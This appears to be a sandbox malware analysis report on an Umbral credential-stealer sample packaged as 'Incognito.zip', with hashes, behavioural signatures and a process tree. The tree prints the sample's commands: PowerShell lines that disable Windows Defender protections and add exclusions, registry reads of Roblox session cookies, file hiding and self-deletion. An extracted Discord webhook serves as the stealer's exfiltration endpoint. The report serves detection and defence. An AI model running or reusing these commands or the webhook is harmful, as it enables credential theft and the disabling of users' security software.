umbral | 68293945c7f39f2c0236366498465ea4fdabf6c153c9340fa6279de1ce732e1f

Analysis

max time kernel
42s
max time network
42s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
31/05/2024, 09:45

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General

Target
Incognito.zip
Size 7.1MB
Sample240531-lrh5asee27
SHA256 68293945c7f39f2c0236366498465ea4fdabf6c153c9340fa6279de1ce732e1f
MD5 63079240b3eed6b027bb65232fbf7af9
SHA1 1c8057ed47c33c14ab2ac71fa14641521314440f
SHA512 dd06e242c4761cf28e34ae91a5f07636be15f674834d79f138eb03b804969dafa81ea89252915fbb88669f9bb09bd4788b902328c80bc7551d4590f8ced4d428
SSDEEP 196608:Zsxld4g89iK+oEGmWzJi7N4m37u8gjPOng:ZsxlChiPoBmWy4m3Pcn
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

umbral execution spyware stealer

Malware Config

Extracted

Family

umbral

https://discord.com/api/webhooks/1245803318895317014/MWwE2bIuC7nD9r88eA3hM6dJFmzWXC8puVXlopPKFnYnezNuslrP3rNwI0e88YuLAhwr

Signatures

Detect Umbral payload 2 IoCs

resource	yara_rule
behavioral2/files/0x001000000001da74-6.dat	family_umbral
behavioral2/memory/2952-8-0x00000184C3EE0000-0x00000184C3F20000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4396	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	Incognito.exe

Executes dropped EXE 1 IoCs

pid	Process
2952	Incognito.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
53	discord.com
54	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
48	ip-api.com

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1848	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
1952	PING.EXE

Suspicious behavior: EnumeratesProcesses 17 IoCs

pid	Process
2952	Incognito.exe
2952	Incognito.exe
4396	powershell.exe
4396	powershell.exe
4396	powershell.exe
3708	powershell.exe
3708	powershell.exe
3708	powershell.exe
4376	powershell.exe
4376	powershell.exe
4376	powershell.exe
2588	powershell.exe
2588	powershell.exe
2588	powershell.exe
4020	powershell.exe
4020	powershell.exe
4020	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeRestorePrivilege	1952	7zG.exe
Token: 35	1952	7zG.exe
Token: SeSecurityPrivilege	1952	7zG.exe
Token: SeSecurityPrivilege	1952	7zG.exe
Token: SeDebugPrivilege	2952	Incognito.exe
Token: SeIncreaseQuotaPrivilege	932	wmic.exe
Token: SeSecurityPrivilege	932	wmic.exe
Token: SeTakeOwnershipPrivilege	932	wmic.exe
Token: SeLoadDriverPrivilege	932	wmic.exe
Token: SeSystemProfilePrivilege	932	wmic.exe
Token: SeSystemtimePrivilege	932	wmic.exe
Token: SeProfSingleProcessPrivilege	932	wmic.exe
Token: SeIncBasePriorityPrivilege	932	wmic.exe
Token: SeCreatePagefilePrivilege	932	wmic.exe
Token: SeBackupPrivilege	932	wmic.exe
Token: SeRestorePrivilege	932	wmic.exe
Token: SeShutdownPrivilege	932	wmic.exe
Token: SeDebugPrivilege	932	wmic.exe
Token: SeSystemEnvironmentPrivilege	932	wmic.exe
Token: SeRemoteShutdownPrivilege	932	wmic.exe
Token: SeUndockPrivilege	932	wmic.exe
Token: SeManageVolumePrivilege	932	wmic.exe
Token: 33	932	wmic.exe
Token: 34	932	wmic.exe
Token: 35	932	wmic.exe
Token: 36	932	wmic.exe
Token: SeIncreaseQuotaPrivilege	932	wmic.exe
Token: SeSecurityPrivilege	932	wmic.exe
Token: SeTakeOwnershipPrivilege	932	wmic.exe
Token: SeLoadDriverPrivilege	932	wmic.exe
Token: SeSystemProfilePrivilege	932	wmic.exe
Token: SeSystemtimePrivilege	932	wmic.exe
Token: SeProfSingleProcessPrivilege	932	wmic.exe
Token: SeIncBasePriorityPrivilege	932	wmic.exe
Token: SeCreatePagefilePrivilege	932	wmic.exe
Token: SeBackupPrivilege	932	wmic.exe
Token: SeRestorePrivilege	932	wmic.exe
Token: SeShutdownPrivilege	932	wmic.exe
Token: SeDebugPrivilege	932	wmic.exe
Token: SeSystemEnvironmentPrivilege	932	wmic.exe
Token: SeRemoteShutdownPrivilege	932	wmic.exe
Token: SeUndockPrivilege	932	wmic.exe
Token: SeManageVolumePrivilege	932	wmic.exe
Token: 33	932	wmic.exe
Token: 34	932	wmic.exe
Token: 35	932	wmic.exe
Token: 36	932	wmic.exe
Token: SeDebugPrivilege	4396	powershell.exe
Token: SeDebugPrivilege	3708	powershell.exe
Token: SeDebugPrivilege	4376	powershell.exe
Token: SeDebugPrivilege	2588	powershell.exe
Token: SeIncreaseQuotaPrivilege	3860	wmic.exe
Token: SeSecurityPrivilege	3860	wmic.exe
Token: SeTakeOwnershipPrivilege	3860	wmic.exe
Token: SeLoadDriverPrivilege	3860	wmic.exe
Token: SeSystemProfilePrivilege	3860	wmic.exe
Token: SeSystemtimePrivilege	3860	wmic.exe
Token: SeProfSingleProcessPrivilege	3860	wmic.exe
Token: SeIncBasePriorityPrivilege	3860	wmic.exe
Token: SeCreatePagefilePrivilege	3860	wmic.exe
Token: SeBackupPrivilege	3860	wmic.exe
Token: SeRestorePrivilege	3860	wmic.exe
Token: SeShutdownPrivilege	3860	wmic.exe
Token: SeDebugPrivilege	3860	wmic.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
1952	7zG.exe

Suspicious use of WriteProcessMemory 26 IoCs

description	pid	Process	procid_target
PID 2952 wrote to memory of 932	2952	Incognito.exe	108
PID 2952 wrote to memory of 932	2952	Incognito.exe	108
PID 2952 wrote to memory of 4740	2952	Incognito.exe	110
PID 2952 wrote to memory of 4740	2952	Incognito.exe	110
PID 2952 wrote to memory of 4396	2952	Incognito.exe	112
PID 2952 wrote to memory of 4396	2952	Incognito.exe	112
PID 2952 wrote to memory of 3708	2952	Incognito.exe	114
PID 2952 wrote to memory of 3708	2952	Incognito.exe	114
PID 2952 wrote to memory of 4376	2952	Incognito.exe	116
PID 2952 wrote to memory of 4376	2952	Incognito.exe	116
PID 2952 wrote to memory of 2588	2952	Incognito.exe	118
PID 2952 wrote to memory of 2588	2952	Incognito.exe	118
PID 2952 wrote to memory of 3860	2952	Incognito.exe	120
PID 2952 wrote to memory of 3860	2952	Incognito.exe	120
PID 2952 wrote to memory of 3568	2952	Incognito.exe	122
PID 2952 wrote to memory of 3568	2952	Incognito.exe	122
PID 2952 wrote to memory of 3280	2952	Incognito.exe	124
PID 2952 wrote to memory of 3280	2952	Incognito.exe	124
PID 2952 wrote to memory of 4020	2952	Incognito.exe	126
PID 2952 wrote to memory of 4020	2952	Incognito.exe	126
PID 2952 wrote to memory of 1848	2952	Incognito.exe	128
PID 2952 wrote to memory of 1848	2952	Incognito.exe	128
PID 2952 wrote to memory of 2140	2952	Incognito.exe	130
PID 2952 wrote to memory of 2140	2952	Incognito.exe	130
PID 2140 wrote to memory of 1952	2140	cmd.exe	132
PID 2140 wrote to memory of 1952	2140	cmd.exe	132

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
4740	attrib.exe

C:\Windows\Explorer.exe
C:\Windows\Explorer.exe /idlist,,C:\Users\Admin\AppData\Local\Temp\Incognito.zip
1⤵
PID:4244

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:3368

C:\Program Files\7-Zip\7zG.exe
"C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\AppData\Local\Temp\Incognito\" -spe -an -ai#7zMap24584:98:7zEvent30873
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:1952

C:\Users\Admin\AppData\Local\Temp\Incognito\incognito1\if it doesn't start\Incognito.exe
"C:\Users\Admin\AppData\Local\Temp\Incognito\incognito1\if it doesn't start\Incognito.exe"
1⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2952
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:932
- C:\Windows\SYSTEM32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Incognito\incognito1\if it doesn't start\Incognito.exe"
  2⤵
  - Views/modifies file attributes
  PID:4740
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Incognito\incognito1\if it doesn't start\Incognito.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4396
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3708
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4376
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2588
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3860
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:3568
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:3280
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4020
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:1848
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\Incognito\incognito1\if it doesn't start\Incognito.exe" && pause
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2140
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - Runs ping.exe
    PID:1952

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 18f381e0db020a763b8c515c346ef58679ab9c403267eacfef5359e272f7e71d
MD5 59d97011e091004eaffb9816aa0b9abd
SHA1 1602a56b01dd4b7c577ca27d3117e4bcc1aa657b
SHA512 d9ca49c1a17580981e2c1a50d73c0eecaa7a62f8514741512172e395af2a3d80aeb0f71c58bc7f52c18246d57ba67af09b6bff4776877d6cc6f0245c30e092d6
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 948B
SHA256 4d610d9cd32a20279c7133a726ff61820d6930e5aa18253ee1422f3a6f54953f
MD5 5824a6037c081fda5d46de274b6e2799
SHA1 526367a09300cbde430e8fb44e41cbe7a0937aac
SHA512 a109b150f730cda78d5bee106bd232f9dca7500dfb7899c6919de2bd542e345ca271aa11809a24ea0a27dca158067ab3a2d5688ac0a2325185143245f1665582
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 cd0a1056e8f1b6cb5cb328532239d802f4e2aa8f8fcdc0fcb487684bd68e0dcc
MD5 276798eeb29a49dc6e199768bc9c2e71
SHA1 5fdc8ccb897ac2df7476fbb07517aca5b7a6205b
SHA512 0d34fce64bbefc57d64fa6e03ca886952263d5f24df9c1c4cce6a1e8f5a47a9a21e9820f8d38caa7f7b43a52336ce00b738ea18419aaa7c788b72e04ce19e4f2
MD5 SHA1 SHA512

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 08c7ee9773c57a061a00010f11ae7c6d64a63fc0076d14d8a438fc96aee8b561
MD5 0b7b86c78503d141d03085ec198d29fc
SHA1 58cd7d5aabf4dc6709ffa95f10d37f5863d21b7a
SHA512 a99e6426695de6e076738f25b4b2ab206bd03893af91e290d4ab32e95afbaf1dbeb0fbe4a4d1a2e564e4a95a169452ceb3117a88936057658fd38382b93eb0f2
MD5 SHA1 SHA512

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Incognito.exe

Path C:\Users\Admin\AppData\Local\Temp\Incognito\incognito1\if it doesn't start\Incognito.exe
Size 231KB
SHA256 d9bd2f789078851ad54d6be09e73f8d1d707484adc45f1010fcf43a6bce88fe4
MD5 37034982dc566783fd574fb3e2c60a2a
SHA1 8f697451b5894b2d6c79fd7a52c6e58a48e28f74
SHA512 7429d21f96158b7fa385685fde010fdb505b1aec84d1b0e0ff042377f8266afb8d656e0349727d41a904dd3a4f548bf9905b18a7c7ce319d3cce406ec76f1418
SSDEEP 6144:xloZM+rIkd8g+EtXHkv/iD4xOw+GR/k4X+G/BcoNG9b8e1mLti:DoZtL+EP8xOw+GR/k4X+G/BcoNmz
MD5 SHA1 SHA512 SSDEEP

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__PSScriptPolicyTest_kiuazkho.2wu.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_kiuazkho.2wu.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

memory/2952-36-0x00000184DE5C0000-0x00000184DE610000-memory.dmp

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memory/2952-37-0x00000184DE480000-0x00000184DE49E000-memory.dmp

Download

memory/2952-35-0x00000184DE640000-0x00000184DE6B6000-memory.dmp

Download

memory/2952-73-0x00000184DE620000-0x00000184DE62A000-memory.dmp

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memory/2952-74-0x00000184DE800000-0x00000184DE812000-memory.dmp

Download

memory/2952-8-0x00000184C3EE0000-0x00000184C3F20000-memory.dmp

Download

memory/4396-14-0x000001C54EBD0000-0x000001C54EBF2000-memory.dmp

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